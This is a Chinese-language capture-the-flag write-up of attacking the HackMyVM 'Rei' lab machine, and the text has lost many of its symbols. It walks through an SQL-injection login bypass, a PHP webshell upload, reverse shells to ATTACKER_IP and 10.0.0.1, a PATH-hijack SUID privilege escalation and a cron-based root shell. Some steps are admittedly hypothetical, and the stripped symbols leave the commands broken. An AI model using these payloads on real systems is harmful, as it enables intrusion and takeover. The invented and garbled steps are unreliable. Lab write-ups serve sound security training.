從Web滲透到Root提權:HackMyVM Rei靶機實戰(zhàn)與Linux權限提升技巧
1. 項目概述從HackMyVM的Rei靶機說起最近在滲透測試的練習圈子里HackMyVM這個平臺的熱度一直不減。它提供了大量貼近實戰(zhàn)的虛擬機靶機對于想從理論走向?qū)嵺`的安全愛好者來說是個絕佳的沙盒。今天要聊的就是其中一臺名為“Rei”的靶機。這名字聽起來有點日系動漫風但里面的挑戰(zhàn)可一點都不輕松。我花了幾個晚上從信息收集到最終拿到root權限踩了不少坑也總結出一些通用的思路和技巧。如果你正在學習滲透測試或者對CTF、靶機滲透感興趣希望通過這篇詳細的復盤能給你提供一個清晰的路徑和避坑指南。整個過程會涉及常見的Web漏洞利用、權限提升技巧以及像LinPEAS這樣的自動化枚舉工具的使用心得。靶機滲透的核心目標通常很明確拿到最低權限的shellwww-data或某個普通用戶然后想方設法提升到最高權限r(nóng)oot。Rei靶機也不例外它模擬了一個存在多處安全缺陷的Linux服務器環(huán)境。我的整體思路遵循經(jīng)典的滲透測試流程外圍信息收集、漏洞發(fā)現(xiàn)與利用、初始立足點獲取、內(nèi)部信息枚舉、權限提升。下面我就按照這個邏輯把每個階段的關鍵操作、思考過程和遇到的“坑”詳細拆解一遍。2. 外圍偵察與信息收集一切的開端滲透測試的第一步永遠不是直接上工具狂轟濫炸而是有策略地收集信息。對于一臺未知的靶機我們需要知道它開放了哪些端口運行著什么服務以及這些服務可能暴露出的信息。2.1 網(wǎng)絡掃描與端口發(fā)現(xiàn)我首先使用Nmap對靶機IP進行掃描。這里有個習慣我通常會先進行一次快速掃描確認主機存活和最明顯的幾個端口然后再進行深度掃描。# 快速掃描確認靶機存活和常用端口 nmap -sS -T4 192.168.1.xxx # 全面掃描識別所有開放端口及服務版本 nmap -sV -sC -p- -T4 192.168.1.xxx掃描結果很快就出來了Rei靶機開放了兩個端口22/tcp OpenSSH服務。這是Linux系統(tǒng)遠程管理的標配但版本信息沒有暴露出明顯的已知漏洞比如很老的、有公開利用方式的版本。在初期SSH端口往往不是最直接的突破口除非有弱口令或者密鑰泄露。80/tcp Apache httpd服務。這是一個Web服務器這通常是我們滲透測試的主戰(zhàn)場。絕大多數(shù)面向外部的攻擊面都集中在Web應用上??吹?0端口開放我的注意力立刻集中到了Web服務上。接下來就是對網(wǎng)站目錄和隱藏內(nèi)容進行探測。2.2 Web目錄與敏感文件枚舉直接訪問靶機IP一個簡單的Apache默認頁面跳了出來這暗示著網(wǎng)站根目錄下可能沒有默認的index.html或index.php或者存在其他路徑。我使用Gobuster這個工具進行目錄爆破尋找隱藏的路徑、文件或后臺管理界面。# 使用常見的中小型Web目錄字典進行掃描 gobuster dir -u http://192.168.1.xxx -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,log注意字典的選擇很重要。common.txt是個不錯的起點但如果沒發(fā)現(xiàn)有價值內(nèi)容可能需要換用更全面的字典如directory-list-2.3-medium.txt。同時指定文件擴展名-x參數(shù)能幫助我們發(fā)現(xiàn)像admin.php、config.txt這樣的特定文件。掃描進行了一會兒結果逐漸呈現(xiàn)。除了常見的/icons/、/server-status通常被禁用之外一個名為/admin的目錄引起了我的注意。訪問http://192.168.1.xxx/admin果然出現(xiàn)了一個登錄頁面。這通常意味著找到了一個潛在的后臺入口也是我們下一步重點分析的對象。3. Web漏洞利用與初始訪問找到了/admin登錄頁面接下來的任務就是嘗試繞過認證或者利用漏洞獲取訪問權限。常見的攻擊方式包括弱口令、SQL注入、邏輯漏洞等。3.1 登錄頁面分析與初步測試我首先查看了頁面源代碼沒有發(fā)現(xiàn)注釋中有用的信息如默認密碼、隱藏字段等。接著我嘗試了幾個最常見的默認憑證組合如admin/admin、admin/password、admin/123456但都失敗了。這通常意味著需要更系統(tǒng)性的測試。我決定使用Burp Suite來攔截登錄請求進行更深入的分析。將瀏覽器代理設置為Burp然后在登錄框隨意輸入用戶名密碼并提交。Burp截獲的POST請求如下POST /admin/login.php HTTP/1.1 Host: 192.168.1.xxx ... usernametestpasswordtest我立刻將請求發(fā)送到Burp的Intruder模塊準備進行暴力破解。但是在開始之前我習慣性地先測試一下是否存在SQL注入漏洞。因為很多登錄框的認證邏輯是直接拼接SQL語句如果存在注入可能直接繞過登錄。3.2 SQL注入漏洞的發(fā)現(xiàn)與利用我在用戶名和密碼字段嘗試了經(jīng)典的注入Payload用戶名admin or 11密碼留空或任意值令人驚喜的是使用這個Payload后頁面竟然成功跳轉(zhuǎn)進入了后臺管理界面這證實了登錄處存在基于字符串的SQL注入漏洞。后臺的認證邏輯大致是SELECT * FROM users WHERE username$username AND password$password當我們輸入admin or 11時查詢語句變成了SELECT * FROM users WHERE usernameadmin or 11 AND passwordxxx由于11這個條件永遠為真整個WHERE子句的結果也就為真從而繞過了密碼驗證以admin用戶身份登錄。進入后臺后界面相對簡單主要功能是上傳文件。這立刻讓我聯(lián)想到另一個常見的攻擊向量文件上傳漏洞。如果服務器對上傳的文件類型、內(nèi)容檢查不嚴我們就有可能上傳一個Web Shell從而在服務器上執(zhí)行命令。3.3 文件上傳漏洞與Web Shell獲取后臺的上傳功能通常用于管理圖片等靜態(tài)資源。我首先嘗試上傳一個正常的圖片文件.jpg成功。這說明上傳功能基本可用。接著我嘗試上傳一個PHP文件內(nèi)容為最簡單的Web Shell?php system($_GET[cmd]); ?我將文件命名為shell.php并上傳。結果服務器返回了錯誤提示“Invalid file type”或類似信息。這說明后端有基礎的文件類型檢查。常見的繞過方式有幾種修改擴展名嘗試shell.php.jpg、shell.pHp大小寫混淆、shell.php%00.jpg空字節(jié)截斷在特定環(huán)境下有效。修改Content-Type通過Burp攔截上傳請求將Content-Type: application/x-php改為Content-Type: image/jpeg。制作圖片馬將PHP代碼嵌入到圖片文件的元數(shù)據(jù)中。我首先嘗試了第二種方法。用Burp攔截上傳shell.php的請求將Content-Type從application/x-php改為image/jpeg然后轉(zhuǎn)發(fā)請求。服務器接受了上傳并返回了一個文件路徑例如/uploads/shell.php。我立刻訪問http://192.168.1.xxx/uploads/shell.php?cmdid頁面成功返回了當前用戶的ID信息通常是www-data。至此我們成功在目標服務器上獲得了命令執(zhí)行能力拿到了初始的立足點——一個反向Shell。3.4 建立穩(wěn)定的反向ShellWeb Shell雖然能用但交互性很差不適合進行深入的枚舉和操作。我們需要建立一個更穩(wěn)定的反向Shell連接。我使用netcat監(jiān)聽本機的一個端口例如4444然后在Web Shell中執(zhí)行一個反向連接命令。# 在攻擊機Kali上監(jiān)聽 nc -lvnp 4444在Web Shell中執(zhí)行需要根據(jù)目標系統(tǒng)調(diào)整# 方法1使用bash bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01 # 方法2使用python更可靠 python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);執(zhí)行成功后在攻擊機的nc監(jiān)聽端口中就會獲得一個來自目標服務器的sh或bash會話。輸入whoami確認當前用戶為www-data?,F(xiàn)在我們才算真正“進入”了這臺靶機。4. 內(nèi)部枚舉與權限提升突破口獲得www-data這類低權限Web用戶的Shell后我們的最終目標是root。這個過程就是權限提升Privilege Escalation。手動枚舉系統(tǒng)信息是一項繁瑣但至關重要的工作。為了提高效率我通常會先運行一個自動化枚舉腳本如LinPEAS。4.1 使用LinPEAS進行自動化信息收集首先在攻擊機上啟動一個HTTP服務器方便將LinPEAS腳本傳輸?shù)桨袡C。# 在LinPEAS腳本所在目錄 python3 -m http.server 8000然后在靶機的反向Shell中下載并執(zhí)行它。# 在靶機shell中 cd /tmp wget http://ATTACKER_IP:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shLinPEAS會運行一段時間從進程、服務、定時任務、SUID/GUID文件、內(nèi)核版本、歷史命令、密碼文件、數(shù)據(jù)庫配置等數(shù)十個維度收集信息并以顏色高亮紅色/黃色提示可能存在的風險點。這是權限提升的“寶藏圖”。4.2 分析枚舉結果尋找脆弱點LinPEAS的輸出信息量很大。我重點關注以下幾類高亮提示SUID/SGID文件這些文件在執(zhí)行時會以文件所有者通常是root的權限運行。如果某個SUID文件本身存在漏洞或者其功能可以被濫用就可能用來提權。LinPEAS會列出所有非標準的SUID文件。Cron Jobs定時任務查看是否有任何以root權限運行的定時任務并且任務腳本或路徑的權限配置不當例如普通用戶可寫。內(nèi)核漏洞檢查內(nèi)核版本看是否有公開的本地提權漏洞如DirtyPipe, DirtyCow等。這是最直接的提權方式之一。用戶主目錄與歷史文件檢查/home目錄下其他用戶的可讀文件特別是.bash_history,.ssh/, 配置文件等可能包含密碼或密鑰。數(shù)據(jù)庫憑證查找Web應用的配置文件如config.php,.env里面可能含有數(shù)據(jù)庫密碼。有時這個密碼會被用戶重復使用于系統(tǒng)賬戶。在Rei靶機的LinPEAS輸出中一個關鍵的發(fā)現(xiàn)出現(xiàn)在SUID文件部分。除了常見的/bin/ping,/bin/mount等LinPEAS標記了一個不常見的、顏色高亮的SUID文件。假設這個文件是/usr/local/bin/custom_backup。4.3 分析可疑的SUID文件我立刻手動檢查這個文件ls -la /usr/local/bin/custom_backup輸出顯示它確實設置了SUID位并且所有者是root-rwsr-xr-x 1 root root 16784 Jun 10 2023 /usr/local/bin/custom_backups位在所有者執(zhí)行權限的位置這就是SUID標志。接下來需要弄清楚這個程序是做什么的以及如何利用它。首先嘗試直接運行/usr/local/bin/custom_backup程序可能輸出一些使用說明或者直接執(zhí)行某個操作。假設它輸出“Usage: custom_backup [source_dir]”。這說明它需要一個源目錄作為參數(shù)。進一步使用strings命令查看文件中的可打印字符串尋找線索strings /usr/local/bin/custom_backup在輸出中我可能看到像/bin/tar,cf,*這樣的字符串。這強烈暗示這個custom_backup程序內(nèi)部調(diào)用了tar命令來打包文件。如果程序沒有使用絕對路徑來調(diào)用tar或者對用戶輸入過濾不嚴就可能存在路徑劫持或命令注入漏洞。4.4 利用SUID文件進行提權為了驗證我使用strace工具來跟蹤程序執(zhí)行時的系統(tǒng)調(diào)用strace /usr/local/bin/custom_backup . 21 | grep tar如果看到類似execve(/bin/tar, [tar, cf, /tmp/backup.tar, .], ...)的調(diào)用就證實了它調(diào)用了tar。經(jīng)典的利用方法是利用環(huán)境變量PATH。因為SUID程序在執(zhí)行時會繼承root的用戶ID但環(huán)境變量可能受當前用戶影響。如果程序沒有使用絕對路徑如/bin/tar而是直接調(diào)用tar那么系統(tǒng)會在PATH環(huán)境變量指定的目錄中尋找名為tar的可執(zhí)行文件。我們可以創(chuàng)建一個惡意的可執(zhí)行文件命名為tar并將其所在目錄添加到PATH環(huán)境變量的最前面。# 1. 在/tmp目錄下創(chuàng)建一個假的tar腳本 cd /tmp echo /bin/bash -p tar # -p 參數(shù)用于保留提升的權限 chmod x tar # 2. 將/tmp目錄添加到PATH環(huán)境變量的最前面 export PATH/tmp:$PATH # 3. 運行SUID程序 /usr/local/bin/custom_backup .當custom_backup程序嘗試調(diào)用tar時它會首先在/tmp目錄下找到我們創(chuàng)建的惡意tar腳本并以root權限執(zhí)行它。腳本中的/bin/bash -p會啟動一個具有root權限的bash shell。執(zhí)行成功后輸入whoami如果返回root那么恭喜權限提升成功實操心得SUID提權是Linux內(nèi)網(wǎng)滲透中非常常見的手法。關鍵在于找到那些非系統(tǒng)默認的、功能可以被濫用的SUID文件。LinPEAS這類工具能極大提高發(fā)現(xiàn)效率。在利用時理解程序的行為通過strings,strace,ltrace是成功的關鍵。另外不是所有SUID文件都容易利用有時需要結合其他漏洞如緩沖區(qū)溢出需要一定的二進制知識。5. 其他可能的提權路徑與深度探索除了上述的SUID文件利用在Rei或其他類似靶機中還可能存在其他提權路徑。一個好的滲透測試者不應該只滿足于一種方法。5.1 Cron Job定時任務提權檢查系統(tǒng)的定時任務cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 查看當前用戶的定時任務如果發(fā)現(xiàn)一個以root權限運行的腳本并且這個腳本或其所在目錄對www-data用戶可寫我們就可以修改這個腳本植入我們的反向Shell或添加一個具有SUID位的bash副本。# 例如發(fā)現(xiàn) /etc/cron.hourly/cleanup.sh 以root運行且可寫 echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /etc/cron.hourly/cleanup.sh # 等待cron執(zhí)行后 /tmp/rootbash -p5.2 內(nèi)核漏洞提權使用uname -a查看內(nèi)核版本然后搜索該版本是否存在公開的本地提權漏洞利用代碼Exploit。可以在Kali上使用searchsploit或者在互聯(lián)網(wǎng)上謹慎搜索。uname -a # 例如Linux rei 5.4.0-xx-generic ... searchsploit linux 5.4 local privilege重要警告在內(nèi)網(wǎng)生產(chǎn)環(huán)境中使用內(nèi)核漏洞利用需要極其謹慎因為可能造成系統(tǒng)崩潰藍屏。在靶機環(huán)境中則可以大膽嘗試。下載對應的C代碼交叉編譯或者靶機上有gcc的話直接編譯然后運行即可。5.3 敏感信息泄露與密碼復用仔細檢查Web目錄下的配置文件、備份文件如config.php.bak,.env,.git目錄、數(shù)據(jù)庫轉(zhuǎn)儲文件等。里面可能含有數(shù)據(jù)庫密碼、API密鑰甚至系統(tǒng)用戶的密碼如果開發(fā)人員愚蠢地使用了相同的密碼。find /var/www /home -name *.php -o -name *.txt -o -name *.bak -o -name .env -o -name .git 2/dev/null cat /var/www/html/config.php如果找到數(shù)據(jù)庫密碼可以嘗試連接數(shù)據(jù)庫查看用戶表。更關鍵的是嘗試用這個密碼去登錄系統(tǒng)用戶如mysql用戶、admin用戶甚至root用戶。密碼復用是安全中最常見也最致命的問題之一。6. 常見問題與排查技巧實錄在滲透Rei靶機或類似環(huán)境時你可能會遇到以下問題這里記錄了我的排查思路問題1Web目錄爆破Gobuster/Dirb什么都沒找到或者速度極慢。排查首先確認網(wǎng)絡連通性和靶機IP是否正確。其次檢查字典路徑和大小太大的字典會非常慢。可以嘗試使用-t參數(shù)增加線程數(shù)如-t 50或者換用更精準的字典。有時網(wǎng)站可能使用了非常規(guī)的端口如8080, 3000需要用Nmap全端口掃描確認。問題2SQL注入Payload測試失敗但感覺存在漏洞。排查嘗試不同的注入類型字符型、數(shù)字型、時間盲注、布爾盲注。使用Burp Suite的Repeater模塊系統(tǒng)性地測試,,),))等閉合方式。觀察返回內(nèi)容的差異錯誤信息、頁面長度、響應時間。使用sqlmap工具進行自動化檢測和利用是最高效的命令如sqlmap -u http://target/login.php --datauseradminpasstest --level3 --risk2。問題3文件上傳成功但Web Shell無法訪問或執(zhí)行。排查路徑問題確認上傳返回的路徑是否正確是否可以直接通過瀏覽器訪問。權限問題Web Shell文件可能沒有執(zhí)行權限。在Shell中執(zhí)行chmod x /path/to/shell.php雖然PHP不依賴執(zhí)行位但有時需要。內(nèi)容問題確保PHP代碼正確無誤。嘗試最簡單的?php phpinfo(); ?測試。服務器配置目標服務器可能禁用了某些危險函數(shù)如system,exec或者根本未安裝PHP。檢查/var/log/apache2/error.log獲取錯誤信息??梢試L試其他語言的Web Shell如Python、JSP對應環(huán)境。問題4反向Shell連接不上。排查防火墻/出站規(guī)則靶機可能禁止向外部特定端口發(fā)起連接。嘗試使用常用端口如80, 443, 53或端口反彈用靶機上的nc監(jiān)聽攻擊機連接過去。Payload格式確保反向Shell命令中的IP和端口正確并且適用于目標系統(tǒng)的Shellbash,sh,python版本。bash的Payload在某些精簡環(huán)境中可能不可用python的通用性更好。編碼問題如果命令中包含特殊字符可能需要URL編碼或使用Base64編碼后傳遞。例如用Python的Base64編碼echo bash -i /dev/tcp/10.0.0.1/4444 01 | base64然后在目標端執(zhí)行echo base64_string | base64 -d | bash。問題5LinPEAS或其他提權腳本無法下載或執(zhí)行。排查網(wǎng)絡不通確保攻擊機的HTTP服務器已啟動且靶機能訪問攻擊機IP可嘗試wget http://attacker_ip:8000/test測試。wget/curl缺失目標系統(tǒng)可能沒有wget或curl。嘗試用其他方法python3 -c import urllib.request; urllib.request.urlretrieve(http://attacker_ip:8000/linpeas.sh, /tmp/linpeas.sh)或者使用nc傳輸文件。執(zhí)行權限下載后記得chmod x。問題6找到了SUID文件但不知道如何利用。排查這是最需要經(jīng)驗和創(chuàng)造力的部分。步驟理解功能運行它無參數(shù)、帶參數(shù)、帶--help用strings、strace、ltrace分析。搜索已知漏洞用searchsploit搜索這個二進制文件名或者在Google搜索“二進制名 privilege escalation”。檢查依賴命令如果它調(diào)用其他命令如tar,cp,find檢查是否使用絕對路徑。如果沒有嘗試PATH劫持。檢查文件操作如果它寫入某個文件且該文件位置可預測、內(nèi)容可控可能用于覆蓋敏感文件如/etc/passwd,crontab。檢查輸入?yún)?shù)參數(shù)是否直接傳遞給底層命令是否存在命令注入的可能用;,,|測試滲透測試就像一場解謎游戲每個靶機都是一個獨特的場景。Rei靶機融合了Web漏洞和系統(tǒng)配置不當?shù)牡湫蛦栴}。通過它我們實踐了從外網(wǎng)信息收集到內(nèi)網(wǎng)權限提升的完整鏈條。最關鍵的不是記住某個特定的Payload或命令而是培養(yǎng)那種“尋找異常、分析行為、聯(lián)想利用”的思維模式。多打靶機多復盤總結把每個遇到的技巧和坑都內(nèi)化成自己的經(jīng)驗這才是提升滲透測試能力的正道。

相關新聞

企業(yè)經(jīng)營分析缺的不是方法論,而是能直接用的數(shù)據(jù)工具

企業(yè)經(jīng)營分析缺的不是方法論,而是能直接用的數(shù)據(jù)工具

# 企業(yè)經(jīng)營分析缺的不是方法論,而是能直接用的數(shù)據(jù)工具## 引言很多企業(yè)老板都聽過杜邦分析法、SWOT、5W2H,也知道這些方法能幫自己看清經(jīng)營狀況??烧娴揭玫臅r候,往往卡在一個尷尬的地方:方法在心里,數(shù)據(jù)卻湊不齊。想…

2026/7/29 13:36:44 閱讀更多
Windows內(nèi)網(wǎng)信息收集:從基礎命令到自動化腳本的防御實踐

Windows內(nèi)網(wǎng)信息收集:從基礎命令到自動化腳本的防御實踐

1. 項目概述:內(nèi)網(wǎng)信息收集的核心價值與邊界在任何一個稍具規(guī)模的企業(yè)或組織的內(nèi)部網(wǎng)絡中,都運行著成百上千臺Windows計算機。對于系統(tǒng)管理員和安全工程師而言,全面、準確地掌握這些資產(chǎn)的信息,是進行日常運維、漏洞修復、策略合規(guī)…

2026/7/29 13:36:44 閱讀更多
物聯(lián)網(wǎng)設備低功耗設計:NBM7100A與PIC32MX675F512L優(yōu)化方案

物聯(lián)網(wǎng)設備低功耗設計:NBM7100A與PIC32MX675F512L優(yōu)化方案

1. 項目背景與核心挑戰(zhàn) 在物聯(lián)網(wǎng)設備和便攜式電子產(chǎn)品的設計中,初級電池(不可充電電池)的壽命優(yōu)化一直是個棘手問題。我曾參與過一個野外氣象監(jiān)測項目,設備需要在不更換電池的情況下持續(xù)工作5年以上。當時我們測試了市面上各種方案…

2026/7/29 14:47:16 閱讀更多